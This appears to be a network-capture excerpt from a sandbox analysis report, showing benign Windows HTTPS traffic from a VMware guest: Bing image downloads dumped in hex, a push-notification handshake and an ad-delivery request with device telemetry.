2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 6c ee 9d 83 6d 1e cb c0 15 9f 7d 3d c4 1a a4 0e 6f be d9 36 d3 b6 0e 7e 69 3b 0e 80 67 bd 3a 7a fc 2c a9 59 6a d1 76 ce 5c c7 28 b4 89 63 0b 21 76 91 9b 76 e3 df 27 ff 00 d7 50 c6 2e 04 32 3d ec 52 46 6f 23 0e aa cd b1 70 38 00 f2 7a fa 55 1d 56 e5 20 86 da d2 78 b6 86 50 f2 6d 6d aa a0 1c f7 e0 02 7f 3a b9 f6 98 e6 f3 6e 2e ef a3 55 9f 06 db cd 6d cb 18 ec c0 f7 fa 56 8e 2e d7 26 fa 8c b8 37 12 5a c8 6d fc c9 23 82 42 ed 1d b4 03 6b 71 f7 73 eb 9a 9a dd 2f 6f 6d 63 49 60 82 2b 89 f6 f9 8a df 3e d1 9f e3 3d db d8 74 a3 c3 ec 5e 69 e3 d3 e5 9d ad 77 80 b3 b4 9c 7b ed 1c 75 eb 55 bc 58 fa 44 7a 7c 49 73 73 3d 9b 47 23 6d 6d bd ba 67 38 a6 ae e7 c9 6d 43 45 1b 91 f8 d3 50 95 63 6d 2a 15 5b 9b fe 42 f9 0c 17 6a 75 25 f3 f7 78 ae 2a e5 85 95 8e 1e 0f 22 e6 4e Data Ascii: lm}=o6~i;g:z,Yjv\(c!vv'P.2=RFo#p8zUV xPmm:n.UmV.&7Zm#Bkqs/omcI`+>=t^iw{uUXDz\|Iss=G#mmg8mCEPcm[Bju%x"N
2024-11-05 19:50:54 UTC	16068	IN	Data Raw: a5 96 3f 95 24 fe 23 9e 07 d6 9f 34 9b 4a c3 8a d0 ca b4 69 12 f1 ad e4 89 54 c5 cb 6e cd 6b 5b c5 6e 9a 2d f5 ce ef 30 c2 d1 a2 af bb 1e bf 95 45 a6 e9 d2 4f 1c 97 e6 db 70 59 04 6d e5 b6 ed ae 7b 7e 54 58 5a b5 bc 7e 56 d6 62 df bc 65 6f bb f9 d5 3e 84 f5 29 4c a2 69 3c f4 f9 76 af cc ac df 7b 15 4e fc 0f b5 28 2b ff 00 02 5f bd 53 da c8 4d d3 19 17 69 97 9f f6 5b e9 4d ba 89 04 cd f3 7f 0f dd ac 89 d6 e2 69 b0 bc b7 92 7a 7f b3 5a 36 68 f2 5a b0 8d 77 75 15 4e de ed ed a1 96 0b 2e 92 c7 e5 c8 cd e9 9c d6 b4 28 6d a1 58 9e e6 35 1e 51 75 65 cb 6d 1d 81 f7 a7 2b 58 a8 95 74 d5 8e 28 65 df b9 7f d9 5f 4a a9 a8 14 91 a4 3b 5b e5 51 b5 7f bb 53 a9 8a 18 54 6e f2 e4 db 96 f3 3e eb 1a 87 52 94 c8 b9 91 97 0a bf 75 7f 8b f1 a2 c5 74 31 37 05 65 07 a5 59 b6 25 Data Ascii: ?$#4JiTnk[n-0EOpYm{~TXZ~Vbeo>)Li<v{N(+_SMi[MizZ6hZwuN.(mX5Quem+Xt(e_J;[QSTn>Rut17eY%
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: fc 6b 3f e4 59 30 ed 5b 7a e8 f3 5a 41 67 13 6d 81 42 2a aa fc cc 07 53 c5 64 e9 fe 62 5c 46 e8 ab 24 9b be 55 65 dd fa 57 da 45 24 b4 3e 76 5b 9a f6 22 6b 78 e4 b5 8a f1 ad ad af b1 e6 6e 5f f5 98 f6 1e 95 f4 17 ec f1 6b 6f 65 e1 1f b4 a6 a1 73 a8 5b d9 c8 4e 97 04 f6 c7 62 c8 4e 59 cf a8 c8 1e d9 f5 af 9e f4 ad 36 e7 56 f1 07 91 02 ed 93 97 91 64 60 ab 1e 3a 9e dc 0a fa 87 c1 a8 67 f0 6d 8d 84 76 d2 49 e7 c1 b3 4f 55 c4 63 8e 9f 2a fa 93 9c 9a f9 0e 28 c7 4b 0d 46 30 a6 f5 96 ff 00 d7 f5 d4 ef c0 45 b9 df b1 d5 f8 6e 1b 9d 52 48 2e a7 68 e0 b6 5d d2 48 b1 41 b3 71 3d 36 8e 06 3d 05 45 ab 5e 9b cf 15 59 cf f6 69 22 55 52 16 e6 55 3b 63 45 fb ea 83 d4 e7 93 d6 ae c3 e2 39 74 6b 58 f4 ed 42 29 1a e6 ea 4f b3 44 d6 39 79 b2 bd 77 1e 88 3e 9c d6 05 8d cc 8d Data Ascii: k?Y0[zZAgmBSdb\F$UeWE$>v["kxn_koes[NbNY6Vd`:gmvIOUc(KF0EnRH.h]HAq=6=E^Yi"URU;cE9tkXB)OD9yw>
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 07 97 04 f0 f9 92 2f c9 23 aa e4 82 d8 3b 39 1d 7f 5a e8 df 11 aa a5 84 0a d6 d0 45 e5 b5 ca af 92 d0 9c 70 aa 80 67 81 de b3 b5 4f 0c c1 ac d8 d8 9b 88 a0 6b 78 24 26 fa 5f 33 62 49 c6 02 b6 7d 38 1c e3 9a f9 9c 24 d4 71 31 a8 fa 7f 5a f9 9e ce de e9 bd f1 11 a2 f0 cf 82 f4 34 d4 35 7f b7 34 9a 6c 6f 77 2b 62 67 c3 a0 66 c3 71 85 c8 08 aa a3 3d 3e b5 f3 a7 c4 5f 89 9a e6 9d 7d 3c 1e 12 d6 67 b3 b0 b6 8c 88 e3 5f 7e 18 e4 12 32 49 3d 0f 15 df 7c 56 b8 f1 7f 8b bc 17 63 73 a5 4b a4 e9 f6 37 97 22 c2 d1 a3 bb 32 4d 7c 63 3e 5e 55 48 c4 31 2a 8e 49 3c d7 8f 69 be 03 bb d4 bc 44 ba 14 fa 9e 97 6a 5a e4 db 2d cc 93 ec 56 d8 f8 62 17 af 27 a0 20 66 be bf 2d c1 61 ef 2c 45 6b 37 ae 9d ba ea bb a3 87 1b 52 72 92 8c 34 f3 30 6e 3c 51 79 3e 93 6d 1c 70 41 03 40 cc Data Ascii: /#;9ZEpgOkx$&_3bI}8$q1Z454low+bgfq=>_}<g_~2I=\|VcsK7"2M\|c>^UH1*I<iDjZ-Vb' f-a,Ek7Rr40n<Qy>mpA@

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49723	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:50:56 UTC	346	OUT	GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-05 19:50:57 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 637660 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C50B3F3375C84017B1D4C44DFFD30D7D Ref B: DFW30EDGE0311 Ref C: 2024-11-05T19:50:56Z Date: Tue, 05 Nov 2024 19:50:56 GMT Connection: close
2024-11-05 19:50:57 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d dc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:408
2024-11-05 19:50:57 UTC	16384	IN	Data Raw: 05 c2 c0 b0 c7 c2 c6 ab f3 31 f7 af 23 11 9a 53 8d d4 59 ec 50 cb 27 a3 99 e6 9f 0b 7e 15 dc ea 97 8b 77 a8 ed 58 63 6f f5 6c bf 7a bd 66 db e1 4f 86 a1 86 59 3f b3 e3 69 a5 5c 6e fb db 7e 82 bb ed 3f 4f 82 38 56 38 95 57 77 fc f3 ab ab 66 b1 af c9 d6 be 7b 11 98 55 a9 2b de c7 b3 47 0b 4e 9c 6c 91 e3 1a 6f c1 9d 00 ea 12 47 35 8c f2 47 bb e5 66 6a ec bc 2b f0 bf 43 d0 d7 fd 1a 05 f5 56 65 e7 f3 ae ce 45 78 f9 4e b5 2c 6e 7c bf 9f e6 35 cf 3c 5d 69 ab 39 33 58 d2 82 d9 1c cc de 17 d2 a3 9a 4b 97 b6 8d 99 b8 69 19 77 35 3b 4f d0 ac 85 d4 77 11 c7 b7 cb ad eb c1 e6 43 f2 2f 35 42 3d 42 de dd 96 09 65 55 3f ed 56 7c f3 6b 72 ac 91 d0 69 b2 8d aa 82 b4 a1 96 b9 88 ef c4 4d e6 2b 6e 8e ae e9 ba b4 57 3c c6 fb b6 d6 12 83 dc a4 74 b0 cb 9a b7 1c b5 91 6d 2e 6a Data Ascii: 1#SYP'~wXcolzfOY?i\n~?O8V8Wwf{U+GNloG5Gfj+CVeExN,n\|5<]i93XKiw5;OwC/5B=BeU?V\|kriM+nW<tm.j
2024-11-05 19:50:57 UTC	16384	IN	Data Raw: 6e 6b 72 cb 8a c5 d4 d7 42 94 6e 71 f7 e4 bb 63 6f 3f de aa 13 5b 33 f4 ae d5 f4 bc f2 eb ba 96 1d 32 33 fc 35 4a aa 27 95 9c 03 69 f3 bb 63 6d 5a b5 d0 2e 24 e7 6b 57 a0 db e9 90 22 ff 00 aa a9 a4 86 da de dd a5 b8 96 38 22 5f bd 24 8c 15 7f 33 4f db b7 b0 f9 12 dc e0 24 d0 a4 45 ce da 8e da c3 62 b4 8f fb b8 e3 5c b3 37 dd 5a 9b e2 07 c5 4f 87 9e 1b 69 6d e7 d6 a3 bc bb 8f 8f b2 58 fe f1 f3 ee 7a 0f ce bc 03 e2 67 c5 fb ff 00 10 dd 34 76 cb f6 5b 05 6f dc db 46 df 7b fd ff 00 ef 1a eb a3 46 b5 4d 5a d0 c2 a5 58 47 a9 ec 3a f7 8b 34 2d 36 dd 8c 53 fd aa 5e 8a b1 fd dc fb 9a e0 35 5f 1d 1b 8b e6 8d a7 55 3f f3 cd 7e 55 af 27 be d7 ae 27 8f 74 8c ca 7f 85 77 7c b5 8d a8 5d c8 ec a4 37 3f de af 46 9e 13 b9 c7 3c 43 b1 eb 3a e6 bb 1c 71 f9 b2 6d 6e fb a8 af Data Ascii: nkrBnqco?[3235J'icmZ.$kW"8"_$3O$Eb\7ZOimXzg4v[oF{FMZXG:4-6S^5_U?~U''tw\|]7?F<C:qmn
2024-11-05 19:50:57 UTC	16384	IN	Data Raw: d3 ad 46 cb 8a 62 2b b2 d2 32 d4 ce b4 d6 14 01 03 2e 7e 5a 7c 7a 7d d4 ed 20 82 da 79 0c 7f 7b cb 8c b6 da df f8 7f a1 4f ad 6b 51 a4 4b e6 08 d8 1d bb 6b e8 df 0c f8 5f 4c b0 d3 76 45 6d 1a 99 39 91 95 7e 66 35 e5 e3 b3 28 e1 9a 8a 57 67 a5 85 c0 fb 58 f3 49 d9 1f 3b 78 2f c0 1a be af 79 24 73 d9 b4 41 57 e5 8e 4e 1b ff 00 ad 5a da bf c1 7f 10 5b 59 b5 cc 57 36 d2 6d 52 7c a5 ce ea fa 2a c3 4e b7 b4 8d 84 11 2a ee e5 a8 bf b5 f3 ad 5a 23 f2 ee af 16 79 cd 77 2b c7 44 7a 31 c0 d0 4a cd 1e 5f fb 37 ff 00 6f da 69 f7 3a 66 af 17 97 6f 04 98 8b fb d5 eb b6 31 e1 b3 f7 85 65 59 d8 88 76 c5 1a aa 8a dd b3 8f 6c 6a 3f bb 5e 65 6a 9e d6 a3 95 ad 73 a9 45 42 0a 24 eb f7 68 53 4e a8 dc 81 50 22 1b 83 f3 53 d9 7f 77 51 33 a1 6c 1a 91 58 79 7f 7b 8a 43 2a fd 9c 19 Data Ascii: Fb+2.~Z\|z} y{OkQKk_LvEm9~f5(WgXI;x/y$sAWNZ[YW6mR\|NZ#yw+Dz1J_7oi:fo1eYvlj?^ejsEB$hSNP"SwQ3lXy{C*
2024-11-05 19:50:57 UTC	16384	IN	Data Raw: ef 55 66 b4 b2 dd e5 45 7c ab 24 72 66 4f dd ee 56 34 93 59 db dd 48 d7 51 4e d1 2c 5f bb 8e 35 8b ef 3f ad 51 41 b5 96 2b d6 d8 bf c2 b1 c7 f3 31 f4 27 d2 88 45 5d b8 b1 cd bb 59 9b fa 55 cd bc 50 c9 6a b2 f9 90 c7 93 fb a5 3b b7 ff 00 2a ae d6 ba ad c5 e4 86 09 56 d6 2e 07 76 6e 9d 07 a9 fa 56 8e 8b 10 86 e2 da c2 d3 cc 79 24 5d fb 95 7e 5f cc ff 00 3a f1 ad 63 e3 16 a3 a6 7c 44 92 31 03 41 a6 59 ca d1 c9 03 36 f9 18 83 82 c5 bd 7e 9c 57 2c f1 10 a7 27 6d cd 23 4a 52 5e 47 b1 68 7a 24 9a 8f 88 13 4f 96 79 25 b7 8b 12 5c ee 5d a5 40 f4 f4 f4 ae 92 ce 5b 3b 5f 10 46 fe 54 76 6d e6 6c b4 f2 a3 df b4 1e ad b7 bb 76 19 ae 47 e0 7f 8e bf e1 32 f1 45 d2 68 10 49 1d a4 56 c4 fe fd 42 b4 d2 1e e4 f6 51 5e a3 e1 bb 6b 2f b6 2d fc 76 6a d2 aa 97 92 e7 cc dd f3 8e Data Ascii: UfE\|$rfOV4YHQN,_5?QA+1'E]YUPj;*V.vnVy$]~_:c\|D1AY6~W,'m#JR^Ghz$Oy%\]@[;_FTvmlvG2EhIVBQ^k/-vj
2024-11-05 19:50:57 UTC	16384	IN	Data Raw: a8 2e 2d b6 cb 1e 36 b3 2f dd 1f e3 44 6f 2d 56 c5 3b 27 a9 61 a0 94 da af 96 aa b1 aa fd d5 f9 77 7e 75 4b 4c b6 bb 9e f9 a5 9e 5d b0 c7 93 23 6e fb de c2 ae 34 2c 1b cd bc f3 31 1b 13 fd ed c6 b4 33 6c 2c 55 ef 11 97 73 7c b0 fd dd c3 d0 e3 fa 52 73 e5 0e 5b b3 3e c2 cc bc 32 dc 09 64 8f fd af ee 8f 4f c6 aa 5c 80 cc c9 26 dc 37 dd dd f7 ab 7f 50 6b 6b 2d 2d 5e 75 58 37 36 63 89 7e 66 c7 ad 60 6b 57 76 90 b2 f9 10 2f 9d b7 2b bb 3f 37 a7 5a 74 9b 93 1c d2 48 86 48 22 95 58 18 97 e5 ff 00 81 55 06 e2 4f 2e 4d cb f3 6d 56 6f bb c5 69 47 22 36 d9 ff 00 b4 16 49 36 e7 6f 96 55 79 f7 f6 a8 52 72 d3 34 b3 ee 90 2f 3f 77 e5 fc eb a6 2d 98 15 2e 9a 49 db 11 4a ca 23 5a 29 8e c4 5c 34 83 e5 8b fb df c3 45 5d 89 bb 3e d3 48 e9 e9 16 69 f7 2f 6f 67 63 2d e5 e4 eb Data Ascii: .-6/Do-V;'aw~uKL]#n4,13l,Us\|Rs[>2dO\&7Pkk--^uX76c~f`kWv/+?7ZtHH"XUO.MmVoiG"6I6oUyRr4/?w-.IJ#Z)\4E]>Hi/ogc-
2024-11-05 19:50:57 UTC	16384	IN	Data Raw: 2c 56 28 e3 8f 1f bb 6d ad f5 af 4a 71 a9 ca 94 4e 4a 6e 0a 5e f1 9f aa 69 92 4c b3 dc da 4b 1c 71 33 7d d6 90 6e 6f c2 a3 d2 e7 b3 b6 b3 50 6f a7 8e 46 e1 97 6f c9 d7 f5 35 46 49 9f ed 1c 33 36 e6 f9 7f bd cd 5a bf d2 fc 98 63 94 de 40 d2 49 83 e5 45 f3 6d 1e e6 b7 e5 f7 79 66 cc 23 2f 7b 9a 27 55 e2 c9 24 8b 4d b5 b8 8a 06 f2 f6 63 cd 66 1b 98 7a 7a d7 17 78 8e dc 47 2b 65 bf 87 fb d5 d0 47 a0 eb 66 38 be d2 de 45 bb 47 be 49 65 63 b6 31 db f1 3e 95 91 7d 0a 43 71 e5 24 be 60 e9 e6 2f f1 54 61 b9 63 a2 77 2a b3 72 d6 c5 68 c3 ab 60 ab 29 fe f5 49 70 b1 ca b8 db b8 ff 00 7a 9b 82 1b 86 a7 ad b5 c3 db c9 3a 44 cd 0a b7 cd 22 fd d5 3f 5a ea ba 31 b3 7b 15 9e 20 8d ca f1 56 ac a3 b4 13 28 b8 66 58 db fb bf e7 8a ab 31 fd de c2 df ee d5 8b 38 ed da 16 49 59 Data Ascii: ,V(mJqNJn^iLKq3}noPoFo5FI36Zc@IEmyf#/{'U$McfzzxG+eGf8EGIec1>}Cq$`/Tacw*rh`)Ipz:D"?Z1{ V(fX18IY
2024-11-05 19:50:57 UTC	16066	IN	Data Raw: 55 8b b5 cc b1 15 5f a8 26 ba 0b 79 6d f4 bd 2e 5b b2 d2 49 71 3b 17 97 77 dd 51 d0 74 e7 15 72 39 ae 2f 2f 1a 78 e0 5f b2 5b 7d d6 5f 95 73 db 1d ab 12 e2 fa 2b 9f b6 5b 5f ca aa 3e ee ef ef 7a d6 52 93 aa f6 29 a5 08 da e5 8b 39 20 7b 55 d5 07 97 10 97 ee b6 d0 a7 ea 2b 3a 47 82 69 2e 7c d9 e3 cc 5c c7 22 e1 df 27 b2 e7 af e1 52 5d 18 35 0b 3f b1 69 16 db 62 6e 3c c9 3e e2 e3 fa fb 54 3e 1e d0 22 b7 d7 15 12 29 24 66 5f 9a 46 fa 72 54 76 ad 22 a3 14 db 7a 91 2e 69 59 2d 89 3c 1b 77 71 6b 6b 75 1b b3 7e fd b3 17 9a bf 33 67 8e 58 ff 00 4a 4d 61 d2 4b 5b a0 65 81 a4 b6 61 e5 45 b7 6a ae 7b e7 f8 8d 33 54 d5 34 bb 79 25 95 6d a4 fb 54 5f 27 cc db 97 ae 00 1f 95 57 f1 39 fb 65 af 99 23 2c 07 ca 1f 75 77 75 ec bf e2 6a a3 16 e6 a5 6b 5c 5c fc b1 6b 73 9b d5 Data Ascii: U_&ym.[Iq;wQtr9//x_[}_s+[_>zR)9 {U+:Gi.\|\"'R]5?ibn<>T>")$f_FrTv"z.iY-<wqkku~3gXJMaK[eaEj{3T4y%mT_'W9e#,uwujk\\ks
2024-11-05 19:50:57 UTC	16384	IN	Data Raw: e9 24 2d 23 67 dc f4 1d b1 47 c2 fd 3b 4f d5 b5 c9 23 bd 81 64 58 a2 32 6d 6f bb 91 eb 59 c2 75 29 46 73 aa ee 91 a4 94 66 e2 a0 6a fc 3f f0 d5 9b d9 ae b7 7b 3c 92 96 94 79 51 c6 bf 74 77 c9 3d eb b2 b3 d2 6c 9b 54 96 78 ac ed a2 95 54 18 d9 be 6f 2f dd 89 ef 53 3c 91 4b 62 be 64 b2 2c 31 63 6a ed d9 bb fd d1 d0 55 c6 df f6 55 16 71 2c 45 b9 66 da 5d 57 3e a7 ab 63 d2 be 77 13 8a a9 52 4d be a7 6d 3a 71 8c 6c 91 16 ac 44 b2 5a de 47 b9 7c b6 c3 34 4b fc 62 aa aa db db 5b c9 79 24 5e 6c b2 c9 fb a8 a5 fb ab 9e a4 f7 62 6a cc 97 b3 da 69 f7 26 05 9d 56 08 c9 8f cc 50 ad 21 c7 e4 05 63 e9 f7 91 b6 9b 26 aa f2 b4 72 34 58 5d cb f3 64 fd 6b 28 41 b8 ea 6d ca 97 a9 b4 8d 68 d3 47 72 5b 85 88 85 8d 57 77 3f c5 f4 15 c9 eb 62 7b 5d 3f 50 95 99 77 2c 67 ca f2 db Data Ascii: $-#gG;O#dX2moYu)Fsfj?{<yQtw=lTxTo/S<Kbd,1cjUUq,Ef]W>cwRMm:qlDZG\|4Kb[y$^lbji&VP!c&r4X]dk(AmhGr[Ww?b{]?Pw,g
2024-11-05 19:50:57 UTC	16384	IN	Data Raw: b8 c7 af ad 43 e4 5b dc ea d7 57 e7 74 92 ae 02 c5 1c 63 f7 64 75 f9 9b b9 ef 8a f8 bc 2d 49 c2 77 5a 2b 58 f4 b9 9c 5d 89 6e 34 3d 13 49 b7 83 46 b6 9e 08 2c ed d7 12 49 13 07 66 90 f5 07 fd ac d7 29 75 a4 25 94 93 db c5 aa c1 1b 5c c8 0a c7 c2 26 07 73 8f bd 57 e6 36 7a c5 d4 ba 65 96 9e d2 5c 33 07 69 65 ce c8 c7 f2 cd 67 eb 6f 20 f1 04 76 96 f0 2c f3 46 a1 e4 65 8c 32 e0 7e 1c 2d 75 46 35 5b e5 93 d5 ea 62 f7 b9 b3 12 2d ae 86 d2 5c 5e 2d e1 59 02 6d 8d 43 2c 63 dc f7 a8 f5 ed 42 28 34 b6 78 20 f3 da 49 14 2a ee fb c6 ab 78 09 35 8d 7b 4b 69 24 b6 6d d7 d7 66 d6 d2 35 5f 99 80 7f 9e 4e c1 54 0a da d6 f4 3d 0a cb e2 12 d8 59 5c c9 3b 5a a8 31 a7 de 1b f1 82 c7 f1 ae 4e 5a d0 9b 6e 3b 32 ad 26 ae 70 3f 1b af 4e 91 71 a1 d9 5b 6e 92 4b 9b 95 f3 24 65 74 Data Ascii: C[Wtcdu-IwZ+X]n4=IF,If)u%\&sW6ze\3iego v,Fe2~-uF5[b-\^-YmC,cB(4x I*x5{Ki$mf5_NT=Y\;Z1NZn;2&p?Nq[nK$et

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49724	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:50:59 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 52 66 49 2b 4b 39 4e 44 45 75 79 55 46 61 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 37 32 62 30 38 39 37 37 62 65 34 31 62 66 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BRfI+K9NDEuyUFa1.1Context: 272b08977be41bf9
2024-11-05 19:50:59 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-05 19:50:59 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 42 52 66 49 2b 4b 39 4e 44 45 75 79 55 46 61 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 37 32 62 30 38 39 37 37 62 65 34 31 62 66 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 55 45 6b 33 4e 66 59 68 39 44 37 4a 45 5a 56 62 6c 51 70 7a 62 55 68 49 35 31 6e 4c 71 31 6c 79 78 73 49 65 70 6c 50 58 6f 72 4f 79 52 49 56 48 6e 75 53 2b 51 69 6e 32 63 6a 51 38 47 78 6c 52 66 65 2f 66 72 53 38 6e 4e 35 33 45 6b 50 56 49 67 5a 54 76 4c 63 7a 43 74 4b 2f 74 4b 78 6b 4e 6c 45 66 39 33 48 61 4b 43 39 4b Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: BRfI+K9NDEuyUFa1.2Context: 272b08977be41bf9<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzUEk3NfYh9D7JEZVblQpzbUhI51nLq1lyxsIeplPXorOyRIVHnuS+Qin2cjQ8GxlRfe/frS8nN53EkPVIgZTvLczCtK/tKxkNlEf93HaKC9K
2024-11-05 19:50:59 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 42 52 66 49 2b 4b 39 4e 44 45 75 79 55 46 61 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 37 32 62 30 38 39 37 37 62 65 34 31 62 66 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: BRfI+K9NDEuyUFa1.3Context: 272b08977be41bf9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-05 19:50:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-05 19:50:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 6e 32 73 6c 6b 48 71 56 6b 43 37 48 73 36 33 36 4f 70 76 79 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Dn2slkHqVkC7Hs636OpvyA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49725	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:02 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241105T195100Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=cf99abf7ffa94911b557ed8b09fa2ed2&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=572493&metered=false&nettype=ethernet&npid=sc-338388&oemName=dydray%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=dydray20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=572493&waasBldFlt=1&waasCfgExp=1&w